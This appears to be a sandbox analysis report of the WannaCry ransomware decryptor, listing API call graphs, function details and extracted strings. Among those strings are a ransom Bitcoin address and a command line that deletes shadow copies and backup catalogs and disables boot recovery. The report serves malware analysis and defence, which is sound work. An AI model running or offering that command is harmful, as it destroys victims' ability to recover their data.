5186 412547 5181->5186 5182->5148 5188 4126ad 5183->5188 5190 412250 GetFileAttributesA CreateDirectoryA GetFileAttributesA CreateDirectoryA 5184->5190 5189 412250 GetFileAttributesA CreateDirectoryA GetFileAttributesA CreateDirectoryA 5185->5189 5186->5148 5191 412250 GetFileAttributesA CreateDirectoryA GetFileAttributesA CreateDirectoryA 5187->5191 5192 4126ba #823 5188->5192 5201 4126cd 5188->5201 5193 41260a CreateFileA 5189->5193 5194 412566 5190->5194 5191->5193 5192->5201 5193->5176 5194->5148 5196 411810 SetFilePointer SetFilePointer ReadFile 5196->5201 5197 412728 5198 412776 5197->5198 5199 41276f CloseHandle 5197->5199 5202 411ac0 free free 5198->5202 5199->5198 5200 412704 WriteFile 5200->5197 5200->5201 5201->5196 5201->5197 5201->5200 5203 412746 SetFileTime 5201->5203 5204 41277e 5202->5204 5203->5197 5204->5148 5206 4127b1 5205->5206 5207 4127a9 5205->5207 5209 4127c7 5206->5209 5211 410f70 5206->5211 5208 411ac0 2 API calls 5207->5208 5208->5206 5209->5022 5209->5023 5209->5024 5212 410f80 5211->5212 5213 410f79 5211->5213 5214 410f8d 5212->5214 5215 411ac0 free free 5212->5215 5213->5209 5216 4109c0 CloseHandle #825 5214->5216 5215->5214 5217 410f98 free 5216->5217 5217->5209 5220 40d8ec 5218->5220 5219 40daad closesocket 5221 40baa8 5219->5221 5220->5219 5220->5221 5221->4877 5223 40c9f6 #823 5222->5223 5227 40ca40 5223->5227 5225 40ca81 5225->4940 5226 40ca87 #825 5226->5225 5227->5225 5227->5226 5229 40cbf3 5228->5229 5230 40cb00 5228->5230 5229->4947 5231 40cb26 5230->5231 5237 40cb90 5230->5237 5232 40cb31 5231->5232 5233 40cb2c ?_Xran@std@ 5231->5233 5247 40cd80 5232->5247 5233->5232 5234 40cbe9 5236 40cc60 5 API calls 5234->5236 5236->5229 5237->5234 5239 40cbaa 5237->5239 5238 40cb38 5241 40cb6a 5238->5241 5242 40cb47 memmove 5238->5242 5240 40c7b0 #825 5239->5240 5243 40cbb3 5240->5243 5245 40cd80 4 API calls 5241->5245 5264 40cc60 5242->5264 5243->4947 5246 40cb7d 5245->5246 5246->4947 5248 40cd93 5247->5248 5249 40ce27 5247->5249 5248->5249 5250 40cdd0 5248->5250 5251 40cdc9 ?_Xlen@std@ 5248->5251 5249->5238 5252 40cdf8 5250->5252 5255 40cde2 5250->5255 5251->5250 5253 40ce0a 5252->5253 5254 40cdfc 5252->5254 5253->5249 5260 40c7b0 #825 5253->5260 5256 40c7b0 #825 5254->5256 5257 40cde6 5255->5257 5258 40ce1f 5255->5258 5259 40ce05 5256->5259 5261 40c7b0 #825 5257->5261 5262 40c9c0 2 API calls 5258->5262 5259->5238 5260->5258 5263 40cdf3 5261->5263 5262->5249 5263->5238 5265 40cc73 5264->5265 5266 40cc6e ?_Xlen@std@ 5264->5266 5267 40cd04 5265->5267 5268 40cc88 5265->5268 5269 40ccae 5265->5269 5266->5265 5267->5268 5274 40cd08 5267->5274 5270 40cc90 5268->5270 5273 40c9c0 2 API calls 5268->5273 5272 40ccd9 #825 5269->5272 5276 40ccc4 5269->5276 5270->5241 5271 40cd4c 5277 40c9c0 2 API calls 5271->5277 5272->5276 5273->5270 5274->5270 5274->5271 5275 40cd43 #825 5274->5275 5278 40cd26 5274->5278 5275->5271 5276->5241 5279 40cd5d 5277->5279 5280 40c9c0 2 API calls 5278->5280 5279->5241 5281 40cd3b 5280->5281 5281->5241 5282->4911 5283->4911 5285 412af5 5284->5285 5286 412ac8 free 5284->5286 5285->4867 5286->5285 5320 401e60 VariantTimeToSystemTime 5288->5320 5290 401e42 5321 401de0 sprintf 5290->5321 5292 401e51 5292->4740 5294 408337 5293->5294 5295 4082fb #4278 #858 #800 5293->5295 5296 408344 5294->5296 5297 408378 time 5294->5297 5295->5294 5298 408359 #800 5296->5298 5299 40834d #1200 5296->5299 5300 40839c 5297->5300 5301 40844d time 5297->5301 5302 40828c 5298->5302 5299->5298 5300->5301 5303 4083a9 5300->5303 5301->5303 5304 408466 5301->5304 5302->4749 5302->4750 5305 4083bb 5303->5305 5306 40846c fopen 5303->5306 5304->5306 5307 4083c4 #540 time #2818 #1200 #800 5305->5307 5308 40842e #800 5305->5308 5309 4084b5 fread fclose 5306->5309 5310 408496 #800 5306->5310 5307->5308 5308->5302 5322 40be90 strncpy strncpy strncpy 5309->5322 5310->5302 5312 4084e7 5323 40c060 5312->5323 5314 408501 5315 408516 5314->5315 5316 408538 5314->5316 5317 408549 #800 5315->5317 5318 40851a #1200 time 5315->5318 5316->5317 5319 40853c #1200 5316->5319 5317->5302 5318->5317 5319->5317 5320->5290 5321->5292 5322->5312 5324 40c07f 5323->5324 5325 40bed0 110 API calls 5324->5325 5326 40c0ba 5325->5326 5327 40c0c1 5326->5327 5328 40c0e7 5326->5328 5329 40c0cc SendMessageA 5327->5329 5347 40c0db 5327->5347 5330 40c104 5328->5330 5331 40c0f8 SendMessageA 5328->5331 5329->5347 5332 40dd00 4 API calls 5330->5332 5331->5330 5335 40c116 5332->5335 5333 40dbf0 free 5334 40c173 5333->5334 5334->5314 5336 40c144 5335->5336 5337 40c17b 5335->5337 5338 40c154 5336->5338 5339 40c148 SendMessageA 5336->5339 5340 40c18b 5337->5340 5341 40c17f SendMessageA 5337->5341 5342 40dbf0 free 5338->5342 5339->5338 5343 40c1b4 5340->5343 5344 40c1e8 5340->5344 5341->5340 5342->5334 5345 40c1c4 5343->5345 5346 40c1b8 SendMessageA 5343->5346 5344->5347 5348 40c1f5 SendMessageA 5344->5348 5349 40dbf0 free 5345->5349 5346->5345 5347->5333 5348->5347 5349->5334 5351 4076d9 time 5350->5351 5352 4076d7 5351->5352 5352->5351 5353 407771 sprintf 5352->5353 5354 405180 4 API calls 5352->5354 5355 407842 SendMessageA SendMessageA #540 5352->5355 5353->5352 5354->5352 5356 407894 5355->5356 5357 4078aa _ftol #2818 #2818 5356->5357 5358 4078db #2818 #2818 5356->5358 5359 407911 #3092 #6199 5357->5359 5358->5359 5360 407990 #800 5359->5360 5361 407940 5359->5361 5360->4758 5361->5360 5362 407952 InvalidateRect 5361->5362 5363 405920 2 API calls 5362->5363 5364 407978 5363->5364 5365 405920 2 API calls 5364->5365 5365->5360 5366->4784 5367->4786 5368->4788 5392 4044c0 5369->5392 5372 404210 #858 #800 5372->4792 5396 405950 InvalidateRect 5373->5396 5375 40592d 5397 405970 InvalidateRect 5375->5397 5377 40593e 5378 405860 5377->5378 5379 405872 5378->5379 5380 405875 GetClientRect #6197 5378->5380 5379->5380 5380->4797 5382 4058d2 5381->5382 5383 4058d5 GetClientRect #6197 5381->5383 5382->5383 5383->4799 5385 4051f8 5384->5385 5386 40519e #860 5384->5386 5385->4801 5387 4051b1 5386->5387 5388 4051d1 RedrawWindow 5387->5388 5389 4051ea InvalidateRect 5387->5389 5388->4801 5389->5385 5390->4811 5391->4813 5393 4044f8 GetObjectA CreateFontIndirectA #1641 5392->5393 5394 4044ce GetParent #2864 SendMessageA #2860 5392->5394 5395 40427a #2818 #535 5393->5395 5394->5393 5394->5395 5395->5372 5396->5375 5397->5377 5399 406b88 #537 #924 sprintf #800 #800 5398->5399 5400 406bda 5398->5400 5399->5400 5403 406cf0 5400->5403 5402 406be6 #800 5402->4822 5404 406d16 5403->5404 5405 406d19 SendMessageA #353 SendMessageA #1979 5403->5405 5404->5405 5408 406dc0 SendMessageA #823 5405->5408 5409 406e00 SendMessageA 5408->5409 5410 406d7b #665 5408->5410 5412 406ed2 #825 5409->5412 5413 406e2f _strnicmp 5409->5413 5410->5402 5412->5410 5414 406e4b _strnicmp 5413->5414 5415 406e67 5413->5415 5414->5415 5415->5412 5415->5413 5416 406e87 SendMessageA #6136 5415->5416 5416->5415 6153 4019d0 EnableWindow 6154 4059d0 #561 6155 404dd0 6 API calls 6156 404e3b SendMessageA #3092 6155->6156 6158 404e60 SendMessageA #3092 6156->6158 6160 404e93 SendMessageA 6158->6160 6161 404e7f SendMessageA 6158->6161 6565 40dbd0 6566 40dbf0 free 6565->6566 6567 40dbd8 6566->6567 6568 40dbe8 6567->6568 6569 40dbdf #825 6567->6569 6569->6568 6379 4102d0 free 5930 4130d4 ??1type_info@@UAE 5931 4130e3 #825 5930->5931 5932 4130ea 5930->5932 5931->5932 5934 4068e0 5935 4068ef 5934->5935 5936 40691a #5280 5935->5936 5937 4068fc 5935->5937 5529 4043e0 #4284 #3874 #5277 5933 40a0e0 Escape 6380 4086e0 #470 GetClientRect SendMessageA #6734 #323 6381 408765 6380->6381 6382 408838 6381->6382 6385 4087bd CreateCompatibleDC #1640 6381->6385 6383 408885 #2754 6382->6383 6384 408869 FillRect 6382->6384 6386 408897 #2381 6383->6386 6384->6386 6412 409e70 CreateCompatibleBitmap #1641 6385->6412 6389 4088b4 6386->6389 6390 408a7d 6386->6390 6389->6390 6392 4088be #3797 6389->6392 6394 409f80 BitBlt 6390->6394 6408 408a5e 6390->6408 6391 408809 6413 409f10 6391->6413 6395 408901 _ftol 6392->6395 6397 408abe 6394->6397 6402 40895e _ftol 6395->6402 6404 40897e 6395->6404 6396 408817 #6194 6396->6382 6399 408ad5 #5785 6397->6399 6400 408ac6 #5785 6397->6400 6399->6408 6400->6408 6402->6404 6403 408afe #640 #755 6405 4089a7 FillRect 6404->6405 6406 4089b8 FillRect 6404->6406 6407 4089ca 6404->6407 6405->6407 6406->6407 6407->6408 6416 409f80 6407->6416 6419 409e20 #2414 6408->6419 6410 408a50 6411 409f10 2 API calls 6410->6411 6411->6408 6412->6391 6414 409f25 #5785 6413->6414 6415 409f18 #5785 6413->6415 6414->6396 6415->6396 6417 409f88 6416->6417 6418 409f8b BitBlt 6416->6418 6417->6418 6418->6410 6419->6403 6420 40c6e0 6421 40c722 #825 6420->6421 6422 40c6ef 6420->6422 6423 40c7b0 #825 6422->6423 6424 40c70d #825 6423->6424 6424->6422 6425 40c721 6424->6425 6425->6421 6583 40cfe0 6590 40d4c0 6583->6590 6585 40cffb 6586 40d4c0 4 API calls 6585->6586 6589 40d05e 6585->6589 6587 40d031 6586->6587 6588 40d4c0 4 API calls 6587->6588 6587->6589 6588->6589 6591 40d4d0 6590->6591 6592 40d4d9 6590->6592 6591->6585 6593 40d4e4 6592->6593 6594 40d4ee time 6592->6594 6593->6585 6595 40d575 6594->6595 6598 40d50a 6594->6598 6596 40d58a 6595->6596 6597 40d2b0 memmove 6595->6597 6596->6585 6597->6596 6598->6595 6599 40d569 time 6598->6599 6600 40d551 Sleep 6598->6600 6599->6595 6599->6598 6600->6598 6574 404fe0 #6334 6575 404ff4 #4853 6574->6575 6576 404ffb 6574->6576 6575->6576 6174 405df0 6179 405d90 #654 #765 6174->6179 6176 405df8 6177 405e08 6176->6177 6178 405dff #825 6176->6178 6178->6177 6179->6176 5938 4090f0 5939 409124 #540 #3874 5938->5939 5940 40971e 5938->5940 5941 409185 5939->5941 5942 40915e 5939->5942 5943 40919c _ftol 5941->5943 5944 40918e #860 5941->5944 5945 40917c 5942->5945 5948 40916e #860 5942->5948 5943->5945 5944->5943 5946 4091d5 SendMessageA #2860 5945->5946 5947 40970a #800 5945->5947 5949 409208 5946->5949 5947->5940 5948->5945 5964 409870 5949->5964 5951 409232 #5875 #6170 GetWindowOrgEx #540 #2818 5953 409329 GetObjectA 5951->5953 5954 40935b GetTextExtentPoint32A 5951->5954 5953->5954 5956 40938b GetViewportOrgEx 5954->5956 5962 409411 5956->5962 5957 409630 #800 5958 409662 5957->5958 5959 40965a #6170 5957->5959 5960 409685 #2414 #2414 5958->5960 5961 40967d #5875 5958->5961 5959->5958 5960->5947 5961->5960 5962->5957 5965 409880 #2414 5964->5965 5965->5951 6426 406ef0 6427 406f03 #823 6426->6427 6428 406f6a 6426->6428 6427->6428 6429 406f25 SendMessageA ShellExecuteA #825 6427->6429 6429->6428 6163 4011f0 6164 40120b #5280 6163->6164 6165 4011fd 6163->6165 6165->6164 6166 401203 6165->6166 6167 4019f0 #765 6168 401a08 6167->6168 6169 4019ff #825 6167->6169 6169->6168 6170 4059f0 6171 4059f8 6170->6171 6172 405a08 6171->6172 6173 4059ff #825 6171->6173 6173->6172 6601 4067f0 IsIconic 6602 406808 7 API calls 6601->6602 6603 40689a #2379 6601->6603 6604 409ff0 ExtTextOutA 5967 405080 5972 4050a0 #800 #795 5967->5972 5969 405088 5970 405098 5969->5970 5971 40508f #825 5969->5971 5971->5970 5972->5969 5973 40d880 5976 40d0a0 time srand rand 5973->5976 5975 40d88f 5977 40d0e1 5976->5977 5978 40d0d3 rand 5976->5978 5977->5975 5978->5977 5978->5978 6180 403180 6185 4031a0 #2414 #2414 #616 #693 #641 6180->6185 6182 403188 6183 403198 6182->6183 6184 40318f #825 6182->6184 6184->6183 6185->6182 6186 405580 GetClientRect 6187 4055c7 7 API calls 6186->6187 6188 4057c9 6186->6188 6189 405666 6187->6189 6190 405669 #5785 CreateSolidBrush FillRect 6187->6190 6189->6190 6191 405770 6 API calls 6190->6191 6194 4056b2 6190->6194 6191->6188 6193 4056cd BitBlt 6193->6194 6194->6191 6194->6193 6195 408580 #609 6196 408598 6195->6196 6197 40858f #825 6195->6197 6197->6196 6431 404280 6432 404290 6431->6432 6433 40428b 6431->6433 6435 4042a0 #6663 6432->6435 6436 4042fd #2379 6432->6436 6434 404530 5 API calls 6433->6434 6434->6432 6437 4042b5 GetParent #2864 SendMessageA #2379 6435->6437 6438 4042e7 ShellExecuteA 6435->6438 6438->6436 6605 406380 6610 405e10 #2414 #2414 #2414 #2414 6605->6610 6607 406388 6608 406398 6607->6608 6609 40638f #825 6607->6609 6609->6608 6639 403f20 #2414 6610->6639 6612 405ed6 6640 403f20 #2414 6612->6640 6614 405eec 6641 403f20 #2414 6614->6641 6616 405f02 6642 403f20 #2414 6616->6642 6618 405f18 #2414 6643 403f20 #2414 6618->6643 6620 405f50 6644 403f20 #2414 6620->6644 6622 405f66 6645 403f20 #2414 6622->6645 6624 405f7c 6 API calls 6646 4050a0 #800 #795 6624->6646 6626 405ffe 6647 4050a0 #800 #795 6626->6647 6628 40600e 6648 404170 #2414 #800 #800 #795 6628->6648 6630 40601e 6649 404170 #2414 #800 #800 #795 6630->6649 6632 40602e 6650 404170 #2414 #800 #800 #795 6632->6650 6634 40603e 6651 404170 #2414 #800 #800 #795 6634->6651 6636 40604e #654 #765 6652 405d90 #654 #765 6636->6652 6638 406087 #609 #609 #616 #641 6638->6607 6639->6612 6640->6614 6641->6616 6642->6618 6643->6620 6644->6622 6645->6624 6646->6626 6647->6628 6648->6630 6649->6632 6650->6634 6651->6636 6652->6638 6653 409b80 6654 409b99 6653->6654 6655 409ba5 #2379 6654->6655 6656 409b9d 6654->6656 6657 40db80 recv 5519 407a90 5520 407bf4 #2385 5519->5520 5521 407abd 5519->5521 5521->5520 5528 404c40 #324 #540 #860 5521->5528 5523 407ae2 #2514 5524 407b72 #2414 #2414 #800 #641 5523->5524 5525 407afb 6 API calls 5523->5525 5524->5520 5526 4082c0 141 API calls 5525->5526 5527 407b61 #800 5526->5527 5527->5524 5528->5523 6198 404d90 #2370 #2289 5979 401091 5984 4010c0 #765 #641 5979->5984 5981 4010a8 5982 4010b8 5981->5982 5983 4010af #825 5981->5983 5983->5982 5984->5981 6439 414290 #825 6217 4085a0 #781 6218 4085b8 6217->6218 6219 4085af #825 6217->6219 6219->6218 5530 4063a0 15 API calls 6002 4034a0 6 API calls 6203 4035a0 SendMessageA 6204 4035e5 OpenClipboard 6203->6204 6205 4037e9 6203->6205 6204->6205 6206 4035f7 SendMessageA 6204->6206 6207 403681 GlobalAlloc 6206->6207 6208 40360f #3301 #924 #800 #800 SendMessageA 6206->6208 6209 4037e3 CloseClipboard 6207->6209 6210 40369b GlobalLock 6207->6210 6208->6207 6208->6208 6209->6205 6211 4036b6 SendMessageA 6210->6211 6212 4036aa GlobalFree 6210->6212 6213 4037c3 GlobalUnlock EmptyClipboard SetClipboardData 6211->6213 6214 4036d6 8 API calls 6211->6214 6212->6209 6213->6209 6216 4037bf 6214->6216 6216->6213 5985 4098a0 5990 4097e0 5985->5990 5987 4098a8 5988 4098b8 5987->5988 5989 4098af #825 5987->5989 5989->5988 5991 409815 5990->5991 5992 40981e #2414 #2414 5990->5992 5991->5992 5992->5987 5993 40a0a0 5994 40a0a8 5993->5994 5995 40a0ab GrayStringA 5993->5995 5994->5995 6450 40d6a0 htons socket 6451 40d6f3 bind 6450->6451 6452 40d814 6450->6452 6453 40d717 ioctlsocket 6451->6453 6454 40d809 6451->6454 6453->6454 6455 40d732 connect select 6453->6455 6454->6452 6456 40d80d closesocket 6454->6456 6455->6454 6457 40d78b __WSAFDIsSet 6455->6457 6456->6452 6458 40d79a __WSAFDIsSet 6457->6458 6459 40d7ac ioctlsocket setsockopt setsockopt 6457->6459 6458->6454 6458->6459 6446 40c6a0 6447 40c6aa 6446->6447 6449 40c6b8 6446->6449 6448 40c6be #825 6447->6448 6447->6449 6448->6449 6460 404aa3 6461 404ab1 6460->6461 6462 404aaa GlobalFree 6460->6462 6463 404ac0 6461->6463 6464 404ab9 CloseHandle 6461->6464 6462->6461 6464->6463 6003 407cb0 6006 4030e0 #324 #567 #567 6003->6006 6005 407cd6 6 API calls 6006->6005 6220 407db0 6227 401000 #324 #567 6220->6227 6222 407dd7 time 6223 407e09 #2514 6222->6223 6224 407dfe 6222->6224 6225 407e34 #765 #641 6223->6225 6226 407e28 time 6223->6226 6224->6223 6226->6225 6227->6222 6465 40ceb0 6466 40cebc 6465->6466 6467 4130bb 2 API calls 6466->6467 6468 40ceda 6467->6468 6470 4102b0 calloc

                                                                                                                          Executed Functions

                                                                                                                          Function 004064D0 Relevance: 44.0, APIs: 20, Strings: 5, Instructions: 256stringwindowtimeCOMMON
                                                                                                                          Download Yara Rule

                                                                                                                          Control-flow Graph

                                                                                                                          APIs
                                                                                                                          • #4710.MFC42 ref: 004064DC
                                                                                                                          • SendMessageA.USER32(?,00000080,00000001,?), ref: 004064F9
                                                                                                                          • SendMessageA.USER32(?,00000080,00000000,?), ref: 0040650D
                                                                                                                            • Part of subcall function 00401C70: wcscat.MSVCRT ref: 00401CC1
                                                                                                                            • Part of subcall function 00401C70: RegCreateKeyW.ADVAPI32(80000001,?,?), ref: 00401D00
                                                                                                                            • Part of subcall function 00401C70: GetCurrentDirectoryA.KERNEL32(00000207,?), ref: 00401D2A
                                                                                                                            • Part of subcall function 00401C70: RegSetValueExA.ADVAPI32(?,0041FDC4,00000000,00000001,?), ref: 00401D53
                                                                                                                            • Part of subcall function 00401C70: RegCloseKey.KERNELBASE(00000000), ref: 00401DA3
                                                                                                                          • GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00406541
                                                                                                                          • strrchr.MSVCRT ref: 00406554
                                                                                                                          • strrchr.MSVCRT ref: 00406564
                                                                                                                          • SetCurrentDirectoryA.KERNEL32(?), ref: 00406571
                                                                                                                          • time.MSVCRT(00000000), ref: 004065D1
                                                                                                                          • __p___argc.MSVCRT(00000202,?), ref: 004065FA
                                                                                                                          • __p___argv.MSVCRT ref: 0040661A
                                                                                                                          • ExitProcess.KERNEL32 ref: 0040665B
                                                                                                                          • __p___argv.MSVCRT ref: 00406666
                                                                                                                          • ExitProcess.KERNEL32 ref: 004066A7
                                                                                                                          • __p___argv.MSVCRT ref: 004066B2
                                                                                                                          • Sleep.KERNELBASE(00002710), ref: 004066F3
                                                                                                                          • sprintf.MSVCRT ref: 0040676A
                                                                                                                          • ExitProcess.KERNEL32 ref: 00406786
                                                                                                                          • SetWindowTextW.USER32(?,Wana Decrypt0r 2.0), ref: 0040679C
                                                                                                                          • SetTimer.USER32(?,000003E9,000003E8,00000000), ref: 004067C6
                                                                                                                          • SetTimer.USER32(?,000003EA,00007530,00000000), ref: 004067D8
                                                                                                                          Strings
                                                                                                                          • %s %s, xrefs: 00406764
                                                                                                                          • Wana Decrypt0r 2.0, xrefs: 00406796
                                                                                                                          • 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94, xrefs: 00406595
                                                                                                                          • cmd.exe, xrefs: 0040671C
                                                                                                                          • /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet, xrefs: 004066FE
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: ExitProcess__p___argv$CurrentDirectoryMessageSendTimerstrrchr$#4710CloseCreateFileModuleNameSleepTextValueWindow__p___argcsprintftimewcscat
                                                                                                                          • String ID: %s %s$/c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet$13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94$Wana Decrypt0r 2.0$cmd.exe
                                                                                                                          • API String ID: 623806192-606506946
                                                                                                                          • Opcode ID: ae9b914f860960fc1fe1eb8876ac2c32c64d9403cfc96aba4f43f79c31e3e0e0
                                                                                                                          • Instruction ID: 76468553a1f47653d6b265dfd970fa21b418b24b97d30d9546a7e2687b9e40c0
                                                                                                                          • Opcode Fuzzy Hash: ae9b914f860960fc1fe1eb8876ac2c32c64d9403cfc96aba4f43f79c31e3e0e0
                                                                                                                          • Instruction Fuzzy Hash: 72816C35704301ABD7109F309C41BEB7B95AF99304F15493AFD4AAB3D1DA7AE8188B98
                                                                                                                          Function 004060E0 Relevance: 35.1, APIs: 16, Strings: 4, Instructions: 139windowCOMMON
                                                                                                                          Download Yara Rule

                                                                                                                          Control-flow Graph

                                                                                                                          APIs
                                                                                                                          • #324.MFC42(00000066,00000000,?,?,?,?,?,00000000,00413E0B,000000FF,00405AAB,00000000), ref: 00406107
                                                                                                                          • #567.MFC42(00000066,00000000,?,?,?,?,?,00000000,00413E0B,000000FF,00405AAB,00000000), ref: 00406117
                                                                                                                          • #567.MFC42(00000066,00000000), ref: 0040612F
                                                                                                                          • #567.MFC42(00000066,00000000), ref: 00406147
                                                                                                                            • Part of subcall function 004085C0: #567.MFC42(00000000,?,?,?,000000FF,00405AAB,00000000), ref: 004085E2
                                                                                                                            • Part of subcall function 004085C0: #341.MFC42(00000000,?,?,?,000000FF,00405AAB,00000000), ref: 004085F6
                                                                                                                            • Part of subcall function 004085C0: GetSysColor.USER32 ref: 0040861D
                                                                                                                            • Part of subcall function 004085C0: GetSysColor.USER32(00000009), ref: 00408624
                                                                                                                            • Part of subcall function 004085C0: GetSysColor.USER32(00000012), ref: 0040862B
                                                                                                                            • Part of subcall function 004085C0: GetSysColor.USER32(00000002), ref: 00408632
                                                                                                                            • Part of subcall function 004085C0: KiUserCallbackDispatcher.NTDLL(00001008,00000000,00000000,00000000), ref: 0040864A
                                                                                                                            • Part of subcall function 004085C0: GetSysColor.USER32(0000001B), ref: 0040865C
                                                                                                                            • Part of subcall function 004085C0: #6140.MFC42(00000002,000000FF), ref: 00408667
                                                                                                                            • Part of subcall function 00404090: #567.MFC42(?,?,?,?,?,?,00413739,000000FF), ref: 004040B0
                                                                                                                            • Part of subcall function 00404090: #540.MFC42(?,?,?,?,?,?,00413739,000000FF), ref: 004040C6
                                                                                                                            • Part of subcall function 00404090: #540.MFC42(?,?,?,?,?,?,00413739,000000FF), ref: 004040D5
                                                                                                                            • Part of subcall function 00404090: #860.MFC42(00421798), ref: 004040F6
                                                                                                                            • Part of subcall function 00404090: #858.MFC42(00000000,00421798), ref: 004040FE
                                                                                                                            • Part of subcall function 00404090: LoadCursorA.USER32(00000000,00007F89), ref: 00404118
                                                                                                                            • Part of subcall function 00404090: LoadCursorA.USER32(00000000,00007F00), ref: 00404123
                                                                                                                            • Part of subcall function 00405000: #567.MFC42(?,?,?,?,00413893,000000FF), ref: 0040501E
                                                                                                                            • Part of subcall function 00405000: #540.MFC42(?,?,?,?,00413893,000000FF), ref: 00405032
                                                                                                                          • #567.MFC42(00000066,00000000), ref: 004061DF
                                                                                                                          • #540.MFC42(00000066,00000000), ref: 004061F7
                                                                                                                          • #540.MFC42(00000066,00000000), ref: 00406209
                                                                                                                          • #540.MFC42(00000066,00000000), ref: 00406219
                                                                                                                          • #540.MFC42(00000066,00000000), ref: 00406229
                                                                                                                          • #860.MFC42(00421798,00000066,00000000), ref: 004062F7
                                                                                                                          • #860.MFC42(00421798,00421798,00000066,00000000), ref: 00406303
                                                                                                                          • #860.MFC42(00421798,00421798,00421798,00000066,00000000), ref: 00406313
                                                                                                                          • #1168.MFC42(00421798,00421798,00421798,00000066,00000000), ref: 00406318
                                                                                                                          • #1146.MFC42(00000080,0000000E,00000080,00421798,00421798,00421798,00000066,00000000), ref: 00406329
                                                                                                                          • LoadIconA.USER32(00000000,00000080), ref: 0040632F
                                                                                                                          • #860.MFC42(00421798), ref: 00406358
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #540#567$#860Color$Load$Cursor$#1146#1168#324#341#6140#858CallbackDispatcherIconUser
                                                                                                                          • String ID: 0ZA$0ZA$0ZA$DZA
                                                                                                                          • API String ID: 3237077636-3729005435
                                                                                                                          • Opcode ID: 8898f9c07cd83b19e88eb16f26038038037ccb9ffe995bcce6d49ed8a8e75e34
                                                                                                                          • Instruction ID: 094c42c2691411c2b0867f220185f46eb880b1852b80e7f1edf951ce12ca3c27
                                                                                                                          • Opcode Fuzzy Hash: 8898f9c07cd83b19e88eb16f26038038037ccb9ffe995bcce6d49ed8a8e75e34
                                                                                                                          • Instruction Fuzzy Hash: 6261E970544B419ED364EF36C5817DAFBE4BF95304F40891EE1EA82281DFB86149CFAA
                                                                                                                          Function 00405A60 Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 134COMMON
                                                                                                                          Download Yara Rule

                                                                                                                          Control-flow Graph

                                                                                                                          APIs
                                                                                                                            • Part of subcall function 0040B620: FindWindowW.USER32(00000000,00000000), ref: 0040B628
                                                                                                                            • Part of subcall function 0040B620: ShowWindow.USER32(00000000,00000005,00000000,?,00000000), ref: 0040B638
                                                                                                                            • Part of subcall function 0040B620: SetWindowPos.USER32(00000000,000000FF,00000000,00000000,00000000,00000000,00000043,?,00000000), ref: 0040B651
                                                                                                                            • Part of subcall function 0040B620: SetWindowPos.USER32(00000000,000000FE,00000000,00000000,00000000,00000000,00000043,?,00000000), ref: 0040B660
                                                                                                                            • Part of subcall function 0040B620: SetForegroundWindow.USER32(00000000), ref: 0040B663
                                                                                                                            • Part of subcall function 0040B620: SetFocus.USER32(00000000,?,00000000), ref: 0040B66A
                                                                                                                            • Part of subcall function 0040B620: SetActiveWindow.USER32(00000000,?,00000000), ref: 0040B671
                                                                                                                            • Part of subcall function 0040B620: BringWindowToTop.USER32(00000000), ref: 0040B678
                                                                                                                            • Part of subcall function 0040B620: ExitProcess.KERNEL32 ref: 0040B689
                                                                                                                          • #1134.MFC42(00000000,Wana Decrypt0r 2.0,00000001), ref: 00405A8C
                                                                                                                          • #2621.MFC42 ref: 00405A96
                                                                                                                          • #6438.MFC42 ref: 00405A9B
                                                                                                                            • Part of subcall function 004060E0: #324.MFC42(00000066,00000000,?,?,?,?,?,00000000,00413E0B,000000FF,00405AAB,00000000), ref: 00406107
                                                                                                                            • Part of subcall function 004060E0: #567.MFC42(00000066,00000000,?,?,?,?,?,00000000,00413E0B,000000FF,00405AAB,00000000), ref: 00406117
                                                                                                                            • Part of subcall function 004060E0: #567.MFC42(00000066,00000000), ref: 0040612F
                                                                                                                            • Part of subcall function 004060E0: #567.MFC42(00000066,00000000), ref: 00406147
                                                                                                                            • Part of subcall function 004060E0: #567.MFC42(00000066,00000000), ref: 004061DF
                                                                                                                            • Part of subcall function 004060E0: #540.MFC42(00000066,00000000), ref: 004061F7
                                                                                                                            • Part of subcall function 004060E0: #540.MFC42(00000066,00000000), ref: 00406209
